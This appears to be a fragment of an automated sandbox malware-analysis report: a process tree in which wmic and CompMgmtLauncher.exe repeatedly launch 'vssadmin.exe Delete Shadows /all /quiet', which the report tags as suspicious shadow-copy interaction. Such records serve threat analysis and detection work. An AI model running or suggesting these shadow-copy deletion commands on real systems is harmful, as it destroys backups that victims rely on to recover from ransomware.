C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2136
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2208
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2368
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2488
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2540
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2684
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
PID:2736 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2776
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2816
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2868